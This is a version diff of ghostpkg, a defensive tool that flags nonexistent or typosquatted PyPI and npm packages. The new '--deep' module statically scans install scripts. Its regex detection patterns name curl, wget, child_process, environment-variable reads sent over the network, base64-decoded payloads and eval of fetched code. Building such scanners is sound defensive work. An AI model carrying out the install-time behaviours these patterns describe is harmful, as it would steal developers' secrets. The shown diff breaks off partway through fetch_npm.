ghostpkg 0.4.0__tar.gz → 0.6.0__tar.gz

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/CHANGELOG.md

@@ -6,6 +6,81 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
 ## [Unreleased]
 
+## [0.6.0] - 2026-09-01
+
+### Fixed
+- **Typo detection missed parked lookalikes, because age was the wrong gate.**
+  The check only ran on packages published within the last year, on the
+  reasoning that "an old lookalike is just a package with a similar name". That
+  reasoning was wrong. `expresss` has sat on npm since **2016** with one
+  release, no repository link, and roughly **2,500 downloads a month** arriving
+  purely from other people's typos. Ten years old, and waved straight through.
+
+### Changed
+- The typo check now also runs on packages that look **abandoned**: two or fewer
+  releases *and* no repository link, at any age.
+
+  The pairing is not a guess. Measured against 120 real packages that sit within
+  the typo budget of a popular name:
+
+  | Rule | Wrong about |
+  |---|---|
+  | Two or fewer releases, alone | 10.0% |
+  | No repository link, alone | 5.8% |
+  | **Both together** | **0.0%** |
+
+  Either condition alone is too loose because sibling packages in a family sit
+  naturally close together — `dagster-k8s` is two edits from `dagster-aws`, and
+  `pulumi-tls` from `pulumi-aws`. Those are maintained, so they carry releases
+  and a repository, and requiring both conditions leaves them alone.
+
+- Warning text now says which condition fired, rather than calling a
+  ten-year-old package "recently published".
+
+### Note
+A defensively parked name still passes, which is correct: npm holds `lodahs`
+itself and points it at `npm/security-holder`, so it has a repository link.
+
+## [0.5.0] - 2026-09-01
+
+### Added
+- **`--deep`: static inspection of install-time code.** This addresses the
+  project's main open problem ([#1]) — a hallucinated name an attacker has
+  *already registered*. Such a package exists, so the existence check passes,
+  and it is young with one release and no repository link, exactly like every
+  honest new package. Age cannot separate them; install-time behaviour can,
+  because a slopsquat has to run something when it is installed.
+- Signals reported: reading environment variables together with a network call,
+  a network request, a shell command, decoding a hidden blob, and executing code
+  that was just decoded or downloaded.
+
+### How the policy was decided
+The previous signal adopted on intuition — scoring packages by age — flagged
+100% of legitimate same-day publications. So this one was measured first:
+
+| Group | Flagged |
+|---|---|
+| 27 established legitimate packages | 0% |
+| 32 packages published to PyPI that day | 0% |
+| 6 known malicious install-script shapes | 6 of 6 |
+
+That is why a **young** package with install-time signals is **blocked** while
+age alone still only warns. An established package with the same signals is
+warned about, not blocked.
+
+The first pattern set was far looser and flagged 37% of established packages,
+mostly for reading environment variables — ordinary when inspecting build
+flags. It also scanned `conftest.py`, which runs during testing and never on
+install. Both were mistakes found by measuring rather than by reasoning.
+
+### Safety
+Archives are read in memory and never extracted to disk; nothing is executed,
+imported or compiled; downloads stop at 8 MB and members at 512 KB so a
+decompression bomb cannot exhaust memory; any failure to fetch or parse means
+"not inspected" rather than a pass.
+
+[#1]: https://github.com/M1rwana12/ghostpkg/issues/1
+
 ## [0.4.0] - 2026-09-01
 
 ### Added
@@ -109,7 +184,9 @@ First release.
 - No corpus of hallucinated package names is shipped, following the decision of
   the USENIX'25 authors not to publish theirs.
 
-[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.4.0...HEAD
+[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.6.0...HEAD
+[0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
+[0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
 [0.4.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.4.0
 [0.3.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.3.0
 [0.2.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.2.0

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.5
 Name: ghostpkg
-Version: 0.4.0
+Version: 0.6.0
 Summary: Catch package names that do not exist before you install them
 Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
 Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
@@ -181,6 +181,7 @@ and report TOML keys as package names.
 | `--json` | Machine-readable output for scripts and CI |
 | `-q`, `--quiet` | Hide packages that passed |
 | `--no-cache` | Neither read nor write the cache |
+| `--deep` | Download recently published packages and statically inspect their install scripts |
 | `--version` | Print the version |
 
 ### Exit codes
@@ -237,7 +238,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
 | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
 | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
 | No repository or homepage link | 🟡 Warning | Real projects almost always link to source. |
-| 1–2 edits from a popular name, **and** recently published | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age matters: an old lookalike is just a package with a similar name. |
+| 1–2 edits from a popular name, **and** the package is either recent **or** abandoned (≤2 releases and no repository link) | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age alone was the wrong gate: `expresss` has sat on npm since 2016 with one release and ~2,500 typo-driven downloads a month. |
 
 Warnings are advisory by default. Nothing but non-existence blocks unless you pass
 `--strict`.
@@ -348,11 +349,62 @@ roughly one round trip rather than one per dependency.
 
 ---
 
+## `--deep`: inspecting install scripts
+
+The existence check cannot see the dangerous case — a name an attacker has
+**already registered**. That package exists, so it passes; and it is young, with
+one release and no repository link, which describes every honest new package
+too. **Age cannot separate them.**
+
+Install-time behaviour can. A slopsquat has to run something when it is
+installed — that is the entire point of publishing it. An honest new library
+almost never does.
+
+```bash
+ghostpkg scan requirements.txt --deep
+```
+
+`--deep` downloads the archive **only for recently published packages**, reads
+only `setup.py` from it (or the install hooks out of `package.json`), and
+pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
+are capped, so a decompression bomb cannot exhaust memory.
+
+| Signal | What it means |
+|---|---|
+| `exfiltration` | Reads environment variables *and* contacts the network |
+| `network` | Makes a network request during install |
+| `subprocess` | Runs a shell command during install |
+| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
+| `dynamic-exec` | Executes code it just decoded or downloaded |
+
+### It was measured before it was allowed to block
+
+The last signal adopted on intuition — score packages by age — flagged 100% of
+legitimate same-day publications. So this one was measured first:
+
+| Group | Flagged |
+|---|---|
+| 27 established legitimate packages | **0%** |
+| 32 packages published to PyPI that day | **0%** |
+| 6 known malicious install-script shapes | **6 of 6** |
+
+That is why a **young** package with install-time signals is **blocked**, while
+age alone can only ever warn. An established package showing the same signals is
+warned about rather than blocked: old packages do sometimes build things at
+install time, and the sample behind that judgement is small.
+
+**Limits, stated plainly:** a squat that waits until import time rather than
+install time will not be caught, obfuscation beyond the listed patterns will not
+be caught, and packages published without an sdist cannot be inspected at all.
+
+---
+
 ## Comparison
 
 | | `ghostpkg` | SCA scanners (Snyk, Socket) | `pip install` alone |
 |---|:---:|:---:|:---:|
 | Catches a name that doesn't exist | ✅ **before install** | after install / in a PR | ❌ |
+| Inspects install scripts without running them | ✅ `--deep` | varies | ❌ |
 | Runs without an account | ✅ | ❌ | — |
 | Runtime dependencies | **0** | many | — |
 | Blocks legitimate new packages | ❌ **no** | varies | — |
@@ -368,10 +420,11 @@ earns its keep. Use both.
 ## Honest limitations
 
 > [!WARNING]
-> **The hard case is out of scope today.** A hallucinated name that an attacker has
-> **already registered** will pass the existence check. The warning signals are all
-> that stand between you and it, and they are advisory. Improving this is the main
-> open problem — see [issues](https://github.com/M1rwana12/ghostpkg/issues).
+> **The hard case is partly addressed by `--deep`, not solved.** A hallucinated
+> name an attacker has **already registered** passes the existence check.
+> `--deep` looks at install-time behaviour and catches the usual shapes, but an
+> attacker who does nothing during install will still get through. Discussion in
+> [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
 
 - Typo detection compares against the 2,000 most-downloaded projects in each
   ecosystem, so a squat on a less popular package won't be flagged as a lookalike.

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/README.en.md

@@ -134,6 +134,7 @@ and report TOML keys as package names.
 | `--json` | Machine-readable output for scripts and CI |
 | `-q`, `--quiet` | Hide packages that passed |
 | `--no-cache` | Neither read nor write the cache |
+| `--deep` | Download recently published packages and statically inspect their install scripts |
 | `--version` | Print the version |
 
 ### Exit codes
@@ -190,7 +191,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
 | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
 | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
 | No repository or homepage link | 🟡 Warning | Real projects almost always link to source. |
-| 1–2 edits from a popular name, **and** recently published | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age matters: an old lookalike is just a package with a similar name. |
+| 1–2 edits from a popular name, **and** the package is either recent **or** abandoned (≤2 releases and no repository link) | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age alone was the wrong gate: `expresss` has sat on npm since 2016 with one release and ~2,500 typo-driven downloads a month. |
 
 Warnings are advisory by default. Nothing but non-existence blocks unless you pass
 `--strict`.
@@ -301,11 +302,62 @@ roughly one round trip rather than one per dependency.
 
 ---
 
+## `--deep`: inspecting install scripts
+
+The existence check cannot see the dangerous case — a name an attacker has
+**already registered**. That package exists, so it passes; and it is young, with
+one release and no repository link, which describes every honest new package
+too. **Age cannot separate them.**
+
+Install-time behaviour can. A slopsquat has to run something when it is
+installed — that is the entire point of publishing it. An honest new library
+almost never does.
+
+```bash
+ghostpkg scan requirements.txt --deep
+```
+
+`--deep` downloads the archive **only for recently published packages**, reads
+only `setup.py` from it (or the install hooks out of `package.json`), and
+pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
+are capped, so a decompression bomb cannot exhaust memory.
+
+| Signal | What it means |
+|---|---|
+| `exfiltration` | Reads environment variables *and* contacts the network |
+| `network` | Makes a network request during install |
+| `subprocess` | Runs a shell command during install |
+| `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
+| `dynamic-exec` | Executes code it just decoded or downloaded |
+
+### It was measured before it was allowed to block
+
+The last signal adopted on intuition — score packages by age — flagged 100% of
+legitimate same-day publications. So this one was measured first:
+
+| Group | Flagged |
+|---|---|
+| 27 established legitimate packages | **0%** |
+| 32 packages published to PyPI that day | **0%** |
+| 6 known malicious install-script shapes | **6 of 6** |
+
+That is why a **young** package with install-time signals is **blocked**, while
+age alone can only ever warn. An established package showing the same signals is
+warned about rather than blocked: old packages do sometimes build things at
+install time, and the sample behind that judgement is small.
+
+**Limits, stated plainly:** a squat that waits until import time rather than
+install time will not be caught, obfuscation beyond the listed patterns will not
+be caught, and packages published without an sdist cannot be inspected at all.
+
+---
+
 ## Comparison
 
 | | `ghostpkg` | SCA scanners (Snyk, Socket) | `pip install` alone |
 |---|:---:|:---:|:---:|
 | Catches a name that doesn't exist | ✅ **before install** | after install / in a PR | ❌ |
+| Inspects install scripts without running them | ✅ `--deep` | varies | ❌ |
 | Runs without an account | ✅ | ❌ | — |
 | Runtime dependencies | **0** | many | — |
 | Blocks legitimate new packages | ❌ **no** | varies | — |
@@ -321,10 +373,11 @@ earns its keep. Use both.
 ## Honest limitations
 
 > [!WARNING]
-> **The hard case is out of scope today.** A hallucinated name that an attacker has
-> **already registered** will pass the existence check. The warning signals are all
-> that stand between you and it, and they are advisory. Improving this is the main
-> open problem — see [issues](https://github.com/M1rwana12/ghostpkg/issues).
+> **The hard case is partly addressed by `--deep`, not solved.** A hallucinated
+> name an attacker has **already registered** passes the existence check.
+> `--deep` looks at install-time behaviour and catches the usual shapes, but an
+> attacker who does nothing during install will still get through. Discussion in
+> [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
 
 - Typo detection compares against the 2,000 most-downloaded projects in each
   ecosystem, so a squat on a less popular package won't be flagged as a lookalike.

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/README.md

@@ -103,6 +103,7 @@ ghostpkg clear-cache
 | `--json` | Вивід у JSON для скриптів і CI |
 | `-q`, `--quiet` | Ховає пакети, які пройшли перевірку |
 | `--no-cache` | Не читати й не писати кеш |
+| `--deep` | Завантажити свіжі пакети й статично перевірити їхні скрипти встановлення |
 
 `scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621 і Poetry)
 та `package.json`. Невідомий формат він **відхиляє з помилкою, а не вгадує**.
@@ -117,7 +118,7 @@ ghostpkg clear-cache
 | Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
 | Лише один реліз | 🟡 Попередження. |
 | Немає посилання на репозиторій | 🟡 Попередження. |
-| За один-два символи від популярної назви **і** свіжий | 🟡 Попередження. Схоже на typosquat. |
+| За один-два символи від популярної назви, **і** пакет свіжий **або** занедбаний (≤2 релізи й немає репозиторію) | 🟡 Попередження. Схоже на typosquat. |
 
 ---
 
@@ -149,6 +150,42 @@ $ ghostpkg check react-router-dom-utils -e npm
 
 ---
 
+## `--deep`: перевірка скриптів встановлення
+
+Перевірка існування не бачить найнебезпечнішого випадку — імені, яке зловмисник
+**уже зареєстрував**. Такий пакет існує, тож проходить; він молодий, з одним
+релізом і без репозиторію — як і будь-який чесний новий пакет. **Вік їх не розрізняє.**
+
+Поведінка при встановленні — розрізняє. Слопсквот мусить щось виконати під час
+встановлення, інакше в ньому немає сенсу. Чесна нова бібліотека цього майже ніколи
+не робить.
+
+```bash
+ghostpkg scan requirements.txt --deep
+```
+
+`--deep` завантажує архів **лише для свіжих пакетів**, читає з нього тільки
+`setup.py` (або скрипти встановлення з `package.json`) і зіставляє текст із
+шаблонами. **Нічого не виконується.** Розмір архіва обмежений, тож бомба
+розпакування не з'їсть пам'ять.
+
+Що вважається сигналом: читання змінних середовища разом із мережевим запитом,
+мережевий запит, запуск оболонки, розкодування прихованого блоба, виконання
+щойно розкодованого коду.
+
+**Виміряно перед тим, як вмикати блокування:**
+
+| Група | Позначено |
+|---|---|
+| 27 усталених легітимних пакетів | **0 %** |
+| 32 пакети, опубліковані того ж дня | **0 %** |
+| 6 відомих шкідливих шаблонів | **6 з 6** |
+
+Для порівняння: вік позначав **100 %** свіжих легітимних пакетів. Саме тому
+молодий пакет із такими сигналами **блокується**, а вік — лише попереджає.
+
+---
+
 ## Порівняння
 
 | | `ghostpkg` | SCA-сканери (Snyk, Socket) | Просто `pip install` |
@@ -167,10 +204,11 @@ $ ghostpkg check react-router-dom-utils -e npm
 ## Чесні обмеження
 
 > [!WARNING]
-> **Складний випадок поки поза межами інструменту.** Вигадану назву, яку зловмисник
-> **уже зареєстрував**, перевірка існування пропустить. Між вами й нею стоять лише
-> попередження, і вони дорадчі. Це головна відкрита проблема —
-> див. [issues](https://github.com/M1rwana12/ghostpkg/issues).
+> **Складний випадок частково закрито прапорцем `--deep`, але не повністю.**
+> Вигадану назву, яку зловмисник **уже зареєстрував**, перевірка існування
+> пропустить. `--deep` дивиться на поведінку при встановленні й ловить типові
+> шаблони, але зловмисник, який нічого не робить під час встановлення, пройде.
+> Обговорення — [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
 
 - Виявлення опечаток порівнює з 2 000 найпопулярніших проєктів кожної екосистеми,
   тому підробка під менш популярний пакет як схожа назва не позначиться.

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/SECURITY.md

@@ -20,13 +20,17 @@ what it does and does not protect against.
 
 ### What it does not catch
 
-- **A hallucinated name an attacker has already registered.** The existence check
-  passes. Only the advisory warnings stand between the user and it. This is the
-  main open problem and it is stated plainly in the README rather than hidden.
+- **A hallucinated name an attacker has already registered, when `--deep` is
+  off.** The existence check passes and only advisory warnings remain. With
+  `--deep`, install-time code is statically inspected and the usual malicious
+  shapes are caught, which measured 0 false positives across 27 established and
+  32 same-day packages while catching all 6 test shapes.
+- **Even with `--deep`:** a squat whose payload runs at *import* time rather than
+  install time, obfuscation beyond the documented patterns, and any package
+  published without an sdist, which cannot be inspected.
 - Malicious code in a package that is otherwise legitimate and established.
 - Compromise of an existing maintainer account.
-- Anything at install time. `ghostpkg` inspects registry metadata; it never
-  downloads, unpacks or executes a package.
+- Malicious behaviour at *runtime*. `--deep` reads install-time code only.
 
 ### Failure mode
 
@@ -34,9 +38,20 @@ If a registry is unreachable, `ghostpkg` exits with code `2` rather than passing
 silently. A network failure will fail your build. That is deliberate: a security
 check that quietly succeeds when it could not run is worse than no check.
 
+### How `--deep` handles untrusted archives
+
+- Archives are read **in memory**, never extracted to disk, so a path-traversal
+  entry has nothing to write to.
+- **Nothing is executed, imported or compiled.** Only named install-time files
+  are read, and only as text.
+- Downloads stop at 8 MB and individual members at 512 KB, so a decompression
+  bomb cannot exhaust memory.
+- Any failure to download or parse means "not inspected", never a pass.
+
 ### Trust boundaries
 
-- Requests go only to `pypi.org` and `registry.npmjs.org` over HTTPS.
+- Requests go only to `pypi.org`, `files.pythonhosted.org` and
+  `registry.npmjs.org` over HTTPS.
 - No telemetry, no analytics, no phoning home.
 - No runtime dependencies, so the tool's own supply chain is the Python standard
   library.

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/__init__.py

@@ -1,6 +1,6 @@
 """ghostpkg -- catch package names that do not exist before you install them."""
 
-__version__ = "0.4.0"
+__version__ = "0.6.0"
 
 from .assess import Finding, Verdict, assess
 from .registries import PackageFacts, RegistryError, fetch

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/assess.py

@@ -134,7 +134,26 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
     return best
 
 
-def assess(facts: PackageFacts, strict: bool = False) -> Finding:
+def assess(
+    facts: PackageFacts,
+    strict: bool = False,
+    signals: "list | None" = None,
+) -> Finding:
+    """Turn registry facts, and optionally --deep install-script signals, into
+    a verdict.
+
+    Install-time signals are treated differently from every other soft signal,
+    and the difference is measured rather than assumed. Age flags 100% of
+    legitimate same-day publications, so it can only ever warn. Install-time
+    behaviour flagged 0 of 27 established and 0 of 32 brand-new real packages
+    while catching all six known malicious shapes, so a *young* package that
+    reaches for the network, a subprocess or a decoded payload during install
+    is specific enough to block.
+
+    An established package doing the same is only warned about: legitimate
+    old packages do sometimes build things at install time, and the sample
+    behind that judgement is small.
+    """
     if not facts.exists:
         return Finding(
             name=facts.name,
@@ -154,13 +173,27 @@ def assess(facts: PackageFacts, strict: bool = False) -> Finding:
 
     is_young = facts.age_days is not None and facts.age_days < NEW_DAYS
 
-    if is_young:
+    # A parked lookalike is not necessarily new. `expresss` has sat on npm since
+    # 2016 with one release, no repository link, and roughly 2,500 downloads a
+    # month arriving purely from other people's typos. Age was the wrong gate.
+    #
+    # Abandonment is the right one, but only as a pair. Measured against 120 real
+    # packages that sit within the typo budget of a popular name, "few releases"
+    # alone was wrong 10% of the time and "no repository link" alone 5.8%, while
+    # requiring both was wrong 0% of the time. That matters because sibling
+    # packages in a family are naturally close together -- dagster-k8s is two
+    # edits from dagster-aws, pulumi-tls from pulumi-aws -- and they are
+    # maintained, so they carry releases and a repository.
+    looks_abandoned = facts.release_count <= 2 and not facts.has_repo_url
+
+    if is_young or looks_abandoned:
         neighbour = nearest_popular(facts.name, facts.ecosystem)
         if neighbour is not None:
             popular_name, distance = neighbour
+            character = "character" if distance == 1 else "characters"
+            context = "recently published" if is_young else "one release, no repository"
             reasons.append(
-                f"{distance} character{'s' if distance > 1 else ''} away from "
-                f"'{popular_name}', and recently published"
+                f"{distance} {character} away from '{popular_name}', and {context}"
             )
 
     if is_young and facts.release_count <= 1:
@@ -169,7 +202,12 @@ def assess(facts: PackageFacts, strict: bool = False) -> Finding:
     if is_young and not facts.has_repo_url:
         reasons.append("no repository or homepage link")
 
-    if not reasons:
+    install_reasons = [str(signal) for signal in (signals or [])]
+    reasons.extend(install_reasons)
+
+    if install_reasons and is_young:
+        verdict = Verdict.BLOCK
+    elif not reasons:
         verdict = Verdict.OK
     elif strict:
         verdict = Verdict.BLOCK

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/cli.py

@@ -10,8 +10,9 @@ import sys
 from pathlib import Path
 
 from . import __version__
-from .assess import Finding, Verdict, assess
+from .assess import NEW_DAYS, Finding, Verdict, assess
 from .cache import Cache
+from .inspection import InspectionError, inspect_package
 from .manifests import UnsupportedManifest, load_manifest
 from .registries import RegistryError, fetch
 
@@ -95,6 +96,7 @@ def evaluate(
     ecosystem: str,
     strict: bool,
     cache: Cache | None = None,
+    deep: bool = False,
 ) -> list[Finding]:
     def one(name: str) -> Finding:
         facts = cache.get(ecosystem, name) if cache else None
@@ -102,7 +104,25 @@ def evaluate(
             facts = fetch(name, ecosystem)
             if cache:
                 cache.put(facts)
-        return assess(facts, strict=strict)
+
+        signals = None
+        # Only young packages are worth the download: a registered slopsquat is
+        # new by definition, and inspecting everything would make a scan slow
+        # for no gain. A compromised established package is a different threat
+        # and is out of scope -- SECURITY.md says so.
+        if (
+            deep
+            and facts.exists
+            and facts.archive_url
+            and facts.age_days is not None
+            and facts.age_days < NEW_DAYS
+        ):
+            try:
+                signals = inspect_package(facts.archive_url, ecosystem)
+            except InspectionError:
+                signals = None
+
+        return assess(facts, strict=strict, signals=signals)
 
     with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
         findings = list(pool.map(one, names))
@@ -141,6 +161,12 @@ def build_parser() -> argparse.ArgumentParser:
         command.add_argument(
             "--no-cache", action="store_true", help="ignore and do not write the cache"
         )
+        command.add_argument(
+            "--deep",
+            action="store_true",
+            help="download recently published packages and statically inspect "
+            "their install scripts (never executes anything)",
+        )
 
     sub.add_parser("clear-cache", help="delete the cached registry lookups")
 
@@ -176,7 +202,7 @@ def main(argv: list[str] | None = None) -> int:
 
     cache = Cache(enabled=not args.no_cache)
     try:
-        findings = evaluate(names, ecosystem, args.strict, cache)
+        findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
     except RegistryError as exc:
         print(f"ghostpkg: {exc}", file=sys.stderr)
         return EXIT_ERROR

ghostpkg-0.6.0/ghostpkg/inspection.py

@@ -0,0 +1,214 @@
+"""Static inspection of install-time code.
+
+This exists for the case the existence check cannot see: a hallucinated name an
+attacker has *already registered*. Such a package exists, so it passes; and it
+is young with one release and no repository link, which describes every honest
+new package too. Age cannot separate them.
+
+Install-time behaviour can. A slopsquat has to run something when it is
+installed -- that is the whole point of publishing it -- so it reaches for a
+network call, an environment variable, or a subprocess from `setup.py` or an
+npm install hook. An honest new library almost never does any of that at
+install time.
+
+**Nothing here is ever executed.** Archives are read in memory, only named
+install-time files are looked at, and the contents are pattern-matched as text.
+Sizes are capped so a decompression bomb cannot exhaust memory.
+"""
+
+from __future__ import annotations
+
+import io
+import re
+import tarfile
+import urllib.request
+import zipfile
+from dataclasses import dataclass
+
+from .registries import USER_AGENT
+
+MAX_ARCHIVE_BYTES = 8 * 1024 * 1024   # don't download more than this
+MAX_MEMBER_BYTES = 512 * 1024         # don't read a single file bigger than this
+MAX_MEMBERS = 2000                    # don't walk an archive with more entries
+TIMEOUT = 20
+
+PY_INSTALL_FILES = ("setup.py",)
+NPM_INSTALL_HOOKS = ("preinstall", "install", "postinstall", "prepare")
+
+
+@dataclass(frozen=True)
+class Signal:
+    """One thing found in install-time code, with the text that triggered it."""
+
+    kind: str
+    detail: str
+    where: str
+
+    def __str__(self) -> str:
+        return f"{self.detail} in {self.where}"
+
+
+# Ordered most-to-least alarming. Each pattern describes something an install
+# script has no ordinary reason to do.
+PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
+    (
+        "exfiltration",
+        "reads environment variables and contacts the network",
+        re.compile(
+            r"(os\.environ|process\.env|getenv)[\s\S]{0,400}?"
+            r"(urlopen|requests\.(get|post)|urllib|http[s]?://|fetch\(|axios|curl|wget)",
+            re.IGNORECASE,
+        ),
+    ),
+    (
+        "network",
+        "makes a network request at install time",
+        re.compile(
+            r"(urllib\.request|urlopen|requests\.(get|post)|socket\.socket|"
+            r"http\.client|child_process[\s\S]{0,80}(curl|wget)|"
+            r"\bcurl\s+-|\bwget\s+http)",
+            re.IGNORECASE,
+        ),
+    ),
+    (
+        "subprocess",
+        "runs a shell command at install time",
+        re.compile(
+            r"(subprocess\.(run|call|Popen|check_output)|os\.system|os\.popen|"
+            r"child_process|execSync|spawnSync)",
+        ),
+    ),
+    (
+        "encoded-payload",
+        "decodes an encoded blob at install time",
+        re.compile(
+            r"(base64\.(b64decode|decodebytes)|Buffer\.from\([^)]*base64|"
+            r"codecs\.decode\([^)]*(rot13|hex)|bytes\.fromhex)",
+        ),
+    ),
+    (
+        "dynamic-exec",
+        "executes code it decoded or fetched at install time",
+        # Bare exec()/compile() appears in legitimate setup.py files that read a
+        # version string out of a source file, so it is only interesting when
+        # what gets executed was decoded or downloaded first.
+        re.compile(
+            r"(\beval\(|\bexec\(|new Function\()[^)\n]{0,200}"
+            r"(b64decode|\.decode\(|urlopen|requests\.|fromhex|Buffer\.from)",
+        ),
+    ),
+)
+
+# A long unbroken base64-looking run is worth flagging on its own.
+BLOB = re.compile(r"['\"][A-Za-z0-9+/]{220,}={0,2}['\"]")
+
+
+class InspectionError(RuntimeError):
+    """The archive could not be retrieved or read."""
+
+
+def scan_text(text: str, where: str) -> list[Signal]:
+    """Pattern-match one install script. Never executes anything."""
+    found: list[Signal] = []
+    seen: set[str] = set()
+    for kind, detail, pattern in PATTERNS:
+        if kind in seen:
+            continue
+        if pattern.search(text):
+            found.append(Signal(kind, detail, where))
+            seen.add(kind)
+    if BLOB.search(text) and "encoded-payload" not in seen:
+        found.append(Signal("encoded-payload", "contains a large encoded blob", where))
+    return found
+
+
+def _download(url: str, limit: int = MAX_ARCHIVE_BYTES) -> bytes:
+    request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
+    try:
+        with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
+            data = response.read(limit + 1)
+    except Exception as exc:  # noqa: BLE001 - any failure is just "can't inspect"
+        raise InspectionError(f"could not download {url}: {exc}") from exc
+    if len(data) > limit:
+        raise InspectionError("archive is larger than the inspection limit")
+    return data
+
+
+def _read_member(handle, member, size: int) -> str | None:
+    if size > MAX_MEMBER_BYTES:
+        return None
+    try:
+        extracted = handle.extractfile(member) if hasattr(handle, "extractfile") else None
+        raw = extracted.read(MAX_MEMBER_BYTES) if extracted else handle.read(member)
+    except Exception:  # noqa: BLE001
+        return None
+    return raw.decode("utf-8", errors="replace")
+
+
+def _interesting(path: str, ecosystem: str) -> bool:
+    name = path.rsplit("/", 1)[-1]
+    if ecosystem == "npm":
+        return name == "package.json"
+    return name in PY_INSTALL_FILES
+
+
+def _npm_hook_source(text: str) -> str:
+    """The install hooks out of a package.json, as one blob of text."""
+    import json
+
+    try:
+        data = json.loads(text)
+    except ValueError:
+        return ""
+    scripts = data.get("scripts")
+    if not isinstance(scripts, dict):
+        return ""
+    return "\n".join(
+        str(scripts[hook]) for hook in NPM_INSTALL_HOOKS if scripts.get(hook)
+    )
+
+
+def inspect_archive(data: bytes, ecosystem: str) -> list[Signal]:
+    """Walk an archive in memory and scan its install-time files."""
+    signals: list[Signal] = []
+    buffer = io.BytesIO(data)
+
+    try:
+        if data[:2] == b"PK":
+            with zipfile.ZipFile(buffer) as archive:
+                for info in archive.infolist()[:MAX_MEMBERS]:
+                    if info.is_dir() or not _interesting(info.filename, ecosystem):
+                        continue
+                    text = _read_member(archive, info.filename, info.file_size)
+                    if text is None:
+                        continue
+                    if ecosystem == "npm":
+                        text = _npm_hook_source(text)
+                    if text.strip():
+                        signals += scan_text(text, info.filename.rsplit("/", 1)[-1])
+        else:
+            with tarfile.open(fileobj=buffer, mode="r:*") as archive:
+                for member in archive.getmembers()[:MAX_MEMBERS]:
+                    if not member.isfile() or not _interesting(member.name, ecosystem):
+                        continue
+                    text = _read_member(archive, member, member.size)
+                    if text is None:
+                        continue
+                    if ecosystem == "npm":
+                        text = _npm_hook_source(text)
+                    if text.strip():
+                        signals += scan_text(text, member.name.rsplit("/", 1)[-1])
+    except (tarfile.TarError, zipfile.BadZipFile, EOFError, OSError) as exc:
+        raise InspectionError(f"could not read archive: {exc}") from exc
+
+    # keep the first signal of each kind, most alarming first
+    order = {kind: i for i, (kind, _, _) in enumerate(PATTERNS)}
+    unique: dict[str, Signal] = {}
+    for signal in signals:
+        unique.setdefault(signal.kind, signal)
+    return sorted(unique.values(), key=lambda s: order.get(s.kind, 99))
+
+
+def inspect_package(archive_url: str, ecosystem: str) -> list[Signal]:
+    """Download and statically inspect one package's install-time code."""
+    return inspect_archive(_download(archive_url), ecosystem)

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/registries.py

@@ -33,6 +33,9 @@ class PackageFacts:
     has_repo_url: bool = False
     latest_version: str | None = None
     summary: str | None = None
+    # Where the source archive lives, for --deep install-script inspection.
+    archive_url: str | None = None
+    archive_size: int | None = None
 
 
 def _get_json(url: str) -> dict | None:
@@ -79,6 +82,14 @@ def fetch_pypi(name: str) -> PackageFacts:
     project_urls = info.get("project_urls") or {}
     home_page = info.get("home_page") or ""
 
+    # Prefer the sdist: it carries setup.py, which a wheel does not.
+    archive_url = archive_size = None
+    for entry in payload.get("urls") or []:
+        if entry.get("packagetype") == "sdist":
+            archive_url = entry.get("url")
+            archive_size = entry.get("size")
+            break
+
     return PackageFacts(
         name=name,
         ecosystem="pypi",
@@ -88,6 +99,8 @@ def fetch_pypi(name: str) -> PackageFacts:
         has_repo_url=bool(project_urls) or bool(home_page),
         latest_version=info.get("version"),
         summary=info.get("summary") or None,
+        archive_url=archive_url,
+        archive_size=archive_size,
     )
 
 
@@ -105,6 +118,9 @@ def fetch_npm(name: str) -> PackageFacts:
     repository = payload.get("repository") or {}
     homepage = payload.get("homepage") or ""
 
+    latest = (payload.get("dist-tags") or {}).get("latest")
+    dist = ((versions.get(latest) or {}).get("dist") or {}) if latest else {}
+
